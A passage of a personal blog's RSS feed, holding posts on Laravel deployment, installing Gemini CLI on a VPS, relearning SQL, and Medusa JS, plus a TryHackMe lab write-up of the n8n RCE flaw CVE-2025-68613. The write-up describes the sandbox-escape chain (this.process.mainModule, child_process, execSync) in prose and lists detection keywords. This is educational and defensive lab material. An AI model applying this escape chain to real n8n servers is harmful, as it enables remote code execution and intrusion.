&lt;li&gt;Further errors prompted disabling Redis service providers in &lt;code&gt;app.php&lt;/code&gt; (&lt;code&gt;Illuminate\Redis\RedisServiceProvider::class&lt;/code&gt;) and commenting out Redis cache configurations in &lt;code&gt;cache.php&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Due to persistent local development issues, the strategy shifted to duplicating an existing Laravel source code from a VPS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Duplicating the MySQL database to a new one using an Aapanel VPS.&lt;/li&gt;
&lt;li&gt;Configuring a new DNS for the new domain with PHP version 8.3.&lt;/li&gt;
&lt;li&gt;Copying project files to a new directory.&lt;/li&gt;
&lt;li&gt;Updating the &lt;code&gt;.env&lt;/code&gt; file with production settings for the new deployment:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;APP_NAME=&quot;NEW_APP&quot;
APP_URL=&quot;NEW_URL&quot;
APP_ENV=production
APP_KEY=
APP_DEBUG=false
APP_TIMEZONE=&quot;Asia/Jakarta&quot;

ASSET_URL=&quot;NEW_URL&quot;

DEMO_MODE=&quot;Off&quot;

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=&quot;localhost&quot;
DB_PORT=&quot;3306&quot;
DB_DATABASE=&quot;NEW_DB_NAME&quot;
DB_USERNAME=&quot;NEW_DB_USER&quot;
DB_PASSWORD=
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Finally, running &lt;code&gt;php artisan config:clear&lt;/code&gt; and &lt;code&gt;php artisan cache:clear&lt;/code&gt; successfully launched the website.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.DzmrA_U5_fPq44.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.WEZ4f8kC_EkVDa.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;h2&gt;What I’d Do Differently Next Time&lt;/h2&gt;
&lt;p&gt;Looking back, I wouldn’t spend too much time fixing local environment issues.&lt;/p&gt;
&lt;p&gt;For Laravel projects with real deployment targets,
it’s often faster to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;validate directly on a clean VPS,&lt;/li&gt;
&lt;li&gt;align PHP extensions with production from day one,&lt;/li&gt;
&lt;li&gt;and avoid local-only optimizations that won’t ship.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Local dev is still important, but only when it mirrors production closely.&lt;/p&gt;
&lt;h2&gt;Why I Finally Chose Laravel Over Medusa &amp;#x26; Saleor&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Medusa: great architecture, but ecosystem still evolving&lt;/li&gt;
&lt;li&gt;Saleor: solid GraphQL core, heavier infra footprint&lt;/li&gt;
&lt;li&gt;Laravel: fastest path to production with full control&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For this project, speed-to-production mattered more than architectural purity.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Need help with Laravel e-commerce or VPS deployment?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;DM me on &lt;strong&gt;&lt;a href=&quot;https://www.linkedin.com/in/farrosfr/&quot;&gt;LinkedIn&lt;/a&gt;&lt;/strong&gt; or email &lt;strong&gt;&lt;a href=&quot;mailto:hello@farros.co&quot;&gt;hello@farros.co&lt;/a&gt;&lt;/strong&gt; 🚀&lt;/p&gt;</content:encoded><h:img src="/_astro/hero.BJS5fxXk.png"/><enclosure url="/_astro/hero.BJS5fxXk.png"/></item><item><title>Installing Gemini CLI on VPS the Right Way</title><link>https://farros.co/blog/installing-gemini-cli-on-vps-the-right-way/</link><guid isPermaLink="true">https://farros.co/blog/installing-gemini-cli-on-vps-the-right-way/</guid><description>Step-by-step guide to installing Gemini CLI on a VPS with proper PATH configuration so you can run it globally with a single command.</description><pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Installing Gemini CLI on a VPS is straightforward — until it isn’t.&lt;br&gt;
Most people stop at &lt;code&gt;npm install -g&lt;/code&gt;, but on many VPS setups (especially with aaPanel or custom Node builds), the binary won’t be available globally.&lt;/p&gt;
&lt;p&gt;This guide shows how to install it properly so you can simply type:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gemini
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And it just works.&lt;/p&gt;
&lt;h2&gt;1. Install Node.js (If Not Installed)&lt;/h2&gt;
&lt;p&gt;Check your Node version:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;node -v
npm -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you’re using aaPanel, Node is usually located under:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/www/server/nodejs/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. Install Gemini CLI Globally&lt;/h2&gt;
&lt;p&gt;Run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install -g @google/gemini-cli
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After installation, verify where global packages are installed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm root -g
npm config get prefix
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Example output:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/www/server/nodejs/v20.18.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That means the binary is located at:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/www/server/nodejs/v20.18.1/bin
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. Fix the PATH (Critical Step)&lt;/h2&gt;
&lt;p&gt;On many VPS environments, that directory is NOT included in &lt;code&gt;$PATH&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Without fixing this, you&apos;ll get:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gemini: command not found
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Temporary Fix&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export PATH=$PATH:/www/server/nodejs/v20.18.1/bin
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Permanent Fix&lt;/h3&gt;
&lt;p&gt;Edit your shell profile:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nano ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export PATH=$PATH:/www/server/nodejs/v20.18.1/bin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reload:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;source ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now test:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gemini
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If everything is correct, the CLI should launch immediately.&lt;/p&gt;
&lt;h2&gt;4. Authenticate with Gemini&lt;/h2&gt;
&lt;p&gt;Run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gemini /auth
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or set your API key manually:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export GEMINI_API_KEY=your_api_key_here
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To persist it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nano ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export GEMINI_API_KEY=your_api_key_here
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reload:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;source ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Why PATH Matters (Opinionated Take)&lt;/h2&gt;
&lt;p&gt;Most “installation guides” stop after &lt;code&gt;npm install -g&lt;/code&gt;.&lt;br&gt;
But on real production VPS environments, especially with custom Node paths, that’s incomplete.&lt;/p&gt;
&lt;p&gt;If you cannot run a tool globally with a single command, the setup isn’t finished.&lt;/p&gt;
&lt;p&gt;Clean environments matter.&lt;br&gt;
Developer ergonomics matter.&lt;br&gt;
Typing &lt;code&gt;gemini&lt;/code&gt; and having it instantly available is how it should be.&lt;/p&gt;
&lt;h2&gt;Final Result&lt;/h2&gt;
&lt;p&gt;Once configured correctly, you should be able to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gemini
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;If you’re setting up production environments and want a clean, reliable server stack, feel free to connect.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.BNGn0uce.png"/><enclosure url="/_astro/image.BNGn0uce.png"/></item><item><title>Relearning SQL Through Real-World E-Commerce Projects</title><link>https://farros.co/blog/relearning-sql-through-real-world-e-commerce-projects/</link><guid isPermaLink="true">https://farros.co/blog/relearning-sql-through-real-world-e-commerce-projects/</guid><description>Sharing my journey relearning SQL by working on real e-commerce projects using MySQL and PostgreSQL, focusing on practical business-driven queries.</description><pubDate>Mon, 09 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I want to share my experience of relearning SQL, which I am currently diving back into.&lt;/p&gt;
&lt;p&gt;This started because my current project is closely related to SQL, specifically an e-commerce platform. The backend stack uses MySQL with Laravel, and in some parts PostgreSQL as well. Because of that, I became interested in revisiting SQL fundamentals and sharpening my skills again.&lt;/p&gt;
&lt;p&gt;To rebuild a solid foundation, I decided to study through DataCamp and completed the following courses:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Introduction to SQL&lt;br&gt;
&lt;a href=&quot;https://www.datacamp.com/completed/statement-of-accomplishment/course/2a5b95c3d50b83f77f051cbd99e0c10400d65458&quot;&gt;https://www.datacamp.com/completed/statement-of-accomplishment/course/2a5b95c3d50b83f77f051cbd99e0c10400d65458&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Introduction to SQL Server&lt;br&gt;
&lt;a href=&quot;https://www.datacamp.com/completed/statement-of-accomplishment/course/a115bdd43fa73424e6a572e71cc3c1261ab649b0&quot;&gt;https://www.datacamp.com/completed/statement-of-accomplishment/course/a115bdd43fa73424e6a572e71cc3c1261ab649b0&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Intermediate SQL Server&lt;br&gt;
&lt;a href=&quot;https://www.datacamp.com/completed/statement-of-accomplishment/course/ca7b3bed05e7b9e4404553adbb830d75b3c87317&quot;&gt;https://www.datacamp.com/completed/statement-of-accomplishment/course/ca7b3bed05e7b9e4404553adbb830d75b3c87317&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Previously, I worked as a data engineer for several years before taking a step back to explore different technical directions.&lt;/p&gt;
&lt;p&gt;At the moment, I am learning SQL through more realistic and business-driven queries that reflect real workflows. Since my focus is e-commerce, I am exploring how to design and query data related to products, transactions, users, admins, categories, inventory stock, pricing, shipping processes, invoices, payments, and many other related tables.&lt;/p&gt;
&lt;p&gt;The goal is not just to write SQL queries, but to truly understand how data flows in a real production system.&lt;/p&gt;
&lt;p&gt;Below are several SQL and database technologies that I have worked with:&lt;/p&gt;
&lt;h2&gt;MySQL&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/2.D1syUQ_N_ZH2MOs.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Well-suited for Laravel/PHP stacks, startups (mid-scale), and CRUD-heavy applications.&lt;/p&gt;
&lt;h3&gt;MySQL Pros&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Simple and stable&lt;/li&gt;
&lt;li&gt;Widely supported by hosting providers&lt;/li&gt;
&lt;li&gt;Affordable and easy to maintain&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;MySQL Cons&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Complex queries can become expensive&lt;/li&gt;
&lt;li&gt;Advanced SQL features matured relatively late&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;MySQL E-commerce use cases&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Products&lt;/li&gt;
&lt;li&gt;Orders&lt;/li&gt;
&lt;li&gt;Users&lt;/li&gt;
&lt;li&gt;Payments&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;PostgreSQL&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/3.C5iE0AZa_Z1nC8FR.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Well-suited for B2B e-commerce, systems with complex queries, and hybrid OLTP + analytics workloads.&lt;/p&gt;
&lt;h3&gt;PostgreSQL Pros&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Rich and strict SQL implementation&lt;/li&gt;
&lt;li&gt;Powerful features such as window functions, CTEs, and JSONB&lt;/li&gt;
&lt;li&gt;Excellent for reporting and analytics with strong data integrity&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;PostgreSQL Cons&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;More complex setup and tuning&lt;/li&gt;
&lt;li&gt;Hosting is relatively more expensive&lt;/li&gt;
&lt;li&gt;Requires strong schema discipline&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;PostgreSQL E-commerce use cases&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Pricing rules&lt;/li&gt;
&lt;li&gt;Contract-based pricing&lt;/li&gt;
&lt;li&gt;Inventory movements&lt;/li&gt;
&lt;li&gt;Invoices and financial reports&lt;/li&gt;
&lt;li&gt;Shipment analytics&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;SQL Server&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/1.COoXJcea_1cmL1R.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Well-suited for enterprise B2B systems, finance, ERP, internal platforms, and BI/data engineering teams.&lt;/p&gt;
&lt;h3&gt;SQL Server Pros&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Strong tooling (SSMS, reporting services)&lt;/li&gt;
&lt;li&gt;Stable and reliable performance&lt;/li&gt;
&lt;li&gt;Excellent support for ETL and BI workflows (SSIS)&lt;/li&gt;
&lt;li&gt;Strong support for stored procedures and views&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;SQL Server Cons&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Expensive licensing&lt;/li&gt;
&lt;li&gt;Rarely used in startup environments&lt;/li&gt;
&lt;li&gt;Less flexible compared to PostgreSQL&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;SQL Server E-commerce use cases&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Data warehouses&lt;/li&gt;
&lt;li&gt;Financial reporting&lt;/li&gt;
&lt;li&gt;Sales dashboards&lt;/li&gt;
&lt;li&gt;Audit and compliance systems&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;NoSQL&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/4.BxuStMD__Z225lsX.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Best used as a complementary technology rather than a replacement for SQL databases.&lt;/p&gt;
&lt;h3&gt;NoSQL E-commerce use cases&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Shopping carts&lt;/li&gt;
&lt;li&gt;User sessions&lt;/li&gt;
&lt;li&gt;Product view caching&lt;/li&gt;
&lt;li&gt;Activity logs&lt;/li&gt;
&lt;li&gt;Search indexing&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;If you are building or scaling an e-commerce system—especially B2B—and need help with database design, SQL optimization, or data modeling based on real business workflows, feel free to reach out.&lt;/p&gt;
&lt;p&gt;You can contact me via email at &lt;strong&gt;&lt;a href=&quot;mailto:hello@farros.co&quot;&gt;hello@farros.co&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.DuPaqiDQ.png"/><enclosure url="/_astro/image.DuPaqiDQ.png"/></item><item><title>Exploring Medusa JS for Scalable B2B Commerce</title><link>https://farros.co/blog/exploring-medusa-js-for-scalable-b2b-commerce/</link><guid isPermaLink="true">https://farros.co/blog/exploring-medusa-js-for-scalable-b2b-commerce/</guid><description>A practical look at Medusa JS as a headless, open-source backend for scalable B2B e-commerce, including architecture, pros, and early testing notes.</description><pubDate>Sat, 07 Feb 2026 23:03:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why I’m Looking Beyond Traditional Platforms&lt;/h2&gt;
&lt;p&gt;When building a &lt;strong&gt;B2B e-commerce platform&lt;/strong&gt;, the challenges are usually not about themes or plugins, but about &lt;strong&gt;architecture&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Custom pricing logic2&lt;/li&gt;
&lt;li&gt;Flexible product structures&lt;/li&gt;
&lt;li&gt;Integration with internal systems&lt;/li&gt;
&lt;li&gt;Scalability without vendor lock-in&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Popular platforms like Magento are mature and powerful, but also come with &lt;strong&gt;complexity and operational overhead&lt;/strong&gt;. For newer projects where flexibility and long-term maintainability matter, I started exploring &lt;strong&gt;Medusa JS&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;What Is Medusa JS?&lt;/h2&gt;
&lt;p&gt;Medusa JS is an &lt;strong&gt;open-source, headless commerce backend&lt;/strong&gt;.
Conceptually, it sits in a similar space to Shopify—but instead of a hosted SaaS, Medusa is &lt;strong&gt;self-hosted and API-first&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;In practice, this means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You own the backend&lt;/li&gt;
&lt;li&gt;You control the data&lt;/li&gt;
&lt;li&gt;You design the frontend freely&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This makes it particularly interesting for &lt;strong&gt;custom B2B workflows&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Architecture Overview&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.PYW8tROF_jPPtx.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;At a high level, the setup looks like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Backend&lt;/strong&gt;: Medusa JS (Node.js)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database&lt;/strong&gt;: PostgreSQL&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Frontend&lt;/strong&gt;: Next.js (or any framework consuming APIs)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Optional&lt;/strong&gt;: Redis for caching and background jobs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The backend exposes clean APIs, while business logic is organized into &lt;strong&gt;services, entities, subscribers, and plugins&lt;/strong&gt;.
From an architectural standpoint, this separation is a big plus for long-term maintenance.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Early Observations (Pros &amp;#x26; Cons)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.CdnI-iEf_Z1G96HP.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;h3&gt;What Looks Promising&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JavaScript-first stack&lt;/strong&gt;: Easier onboarding for modern web teams&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API-driven design&lt;/strong&gt;: Clean separation between frontend and backend&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modular extensibility&lt;/strong&gt;: Plugins and custom services feel natural&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PostgreSQL as a core dependency&lt;/strong&gt;: Solid choice for transactional systems&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Things to Be Careful About&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The ecosystem is still &lt;strong&gt;young compared to Magento&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Documentation is good, but &lt;strong&gt;real-world examples are limited&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Requires more architectural decisions upfront&lt;/li&gt;
&lt;li&gt;Not ideal for teams looking for a “click-and-deploy” solution&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Current Status: Testing &amp;#x26; Validation&lt;/h2&gt;
&lt;p&gt;Right now, I’m still in the &lt;strong&gt;early-stage testing phase&lt;/strong&gt;, running Medusa on a VPS and validating:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Deployment stability&lt;/li&gt;
&lt;li&gt;Data modeling for B2B use cases&lt;/li&gt;
&lt;li&gt;Integration patterns with a custom frontend&lt;/li&gt;
&lt;li&gt;Operational complexity in real environments&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is not about replacing mature platforms blindly, but about &lt;strong&gt;understanding where Medusa fits best&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Final Thoughts&lt;/h2&gt;
&lt;p&gt;Medusa JS is &lt;strong&gt;not a silver bullet&lt;/strong&gt;, but for teams that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;need full control,&lt;/li&gt;
&lt;li&gt;value open-source,&lt;/li&gt;
&lt;li&gt;and are comfortable designing their own architecture,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;…it’s a very compelling option.&lt;/p&gt;
&lt;p&gt;I’ll be sharing more findings once the testing phase progresses.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Resources&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Docs &amp;#x26; Quick Start: &lt;a href=&quot;https://docs.medusajs.com&quot;&gt;https://docs.medusajs.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GitHub: &lt;a href=&quot;https://github.com/medusajs/medusa&quot;&gt;https://github.com/medusajs/medusa&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="/_astro/image.C3MK-AhD.png"/><enclosure url="/_astro/image.C3MK-AhD.png"/></item><item><title>n8n: CVE-2025-68613 | TryHackMe Write-Up</title><link>https://farros.co/blog/n8n-cve-2025-68613-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/n8n-cve-2025-68613-tryhackme-write-up/</guid><description>Learn how adversaries can exploit the CVE-2025-68613 vulnerability in n8n.</description><pubDate>Thu, 25 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/n8ncve202568613&quot;&gt;n8n: CVE-2025-68613&lt;/a&gt;, Learn how adversaries can exploit the CVE-2025-68613 vulnerability in n8n. Hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;CVE-2025-68613 is a critical vulnerability (CVSS 9.9) in the n8n workflow automation platform, published in December 2025. This vulnerability is a Remote Code Execution (RCE) flaw found in the workflow expression evaluation system, affecting versions 0.211.0 through 1.120.3. It allows authenticated attackers to execute system-level commands by injecting malicious JavaScript code. Users are strongly advised to update to patched versions (1.120.4, 1.121.1, or 1.122.0) to secure their instances.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let’s dive into the technical details.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Technical Background&lt;/h2&gt;
&lt;p&gt;n8n is built on Node.js and uses an Expression Evaluation System to process dynamic user input wrapped in &lt;code&gt;{{ }}&lt;/code&gt;. The vulnerability exists because this system lacks proper sandboxing. An attacker can escape the intended context by using &lt;code&gt;this&lt;/code&gt; to access the global Node.js object. The exploit chain typically involves accessing &lt;code&gt;this.process.mainModule&lt;/code&gt;, loading the &lt;code&gt;child_process&lt;/code&gt; module via &lt;code&gt;require()&lt;/code&gt;, and finally executing system commands (e.g., &lt;code&gt;execSync(&apos;id&apos;)&lt;/code&gt;). This demonstrates a fundamental breach of security boundaries where user expressions gain access to the underlying runtime environment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In this exploit, what is the name of the module that allowed us to execute system commands?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;child_process&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Exploitation&lt;/h2&gt;
&lt;p&gt;To exploit this vulnerability, an attacker logs into the n8n dashboard (e.g., using &lt;code&gt;tryhackme@thm.local&lt;/code&gt;) and creates a new workflow. The method involves adding a &quot;Manual Trigger&quot; connected to an &quot;Edit Fields (Set)&quot; node. Inside the &quot;Edit Fields&quot; node, the attacker adds a new field and pastes the malicious JavaScript payload (containing the sandbox escape code) into the value field. Upon clicking &quot;Execute step,&quot; the code runs on the server, and the output of the system command (such as the &lt;code&gt;id&lt;/code&gt; command) is displayed in the interface.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-25%20210200.CyKAJlAi_Oj7JY.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Landing page after logging into the n8n dashboard.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-25%20210257.y5PWEN9t_Z2pOkPw.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Creating a new workflow by selecting Start from scratch.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-25%20210350.BCPvQ4zH_WCoqz.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Choosing Manual Trigger as the first workflow step.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-25%20210658.BtYb8pSL_Z16ljrQ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Adding the Edit Fields (Set) node to the workflow.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-25%20210950.CAT5YPq1_1tTy3X.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Injecting the malicious JavaScript expression into a new field.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-25%20211009.Du1_PXBv_d2mqh.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Executing the workflow step to trigger server-side command execution.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-25%20211110.DYyMW6jt_JEVuA.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Successful execution of the id command, confirming RCE.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-25%20211132.ChNGeU4K_ZGWVic.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Reading the flag file (flag.txt) directly from the server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM()&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Detection&lt;/h2&gt;
&lt;p&gt;Since n8n&apos;s native logging is limited, detection is best achieved by using a proxy (like Nginx) to log web request bodies. Security teams can use Sigma rules to scan these logs for specific patterns in POST requests to &lt;code&gt;/rest/workflows&lt;/code&gt;, looking for keywords like &lt;code&gt;this.process.mainModule&lt;/code&gt;, &lt;code&gt;execSync&lt;/code&gt;, and &lt;code&gt;child_process&lt;/code&gt;. Additionally, it is critical to monitor the operating system for suspicious process creation events—such as reverse shells or reconnaissance commands—to identify post-exploitation activity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Depending on your environment, ensure that your security solutions are detecting threats targeting your web applications and infrastructure.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: Conclusion&lt;/h2&gt;
&lt;p&gt;This vulnerability highlights the severe risks associated with insecure expression evaluation and flawed trust boundaries between user input and the application runtime. Understanding this exploit helps in developing better detection strategies that focus on context escalation patterns. The most effective mitigation is to ensure the n8n server is upgraded to a secure, patched version immediately.&lt;/p&gt;
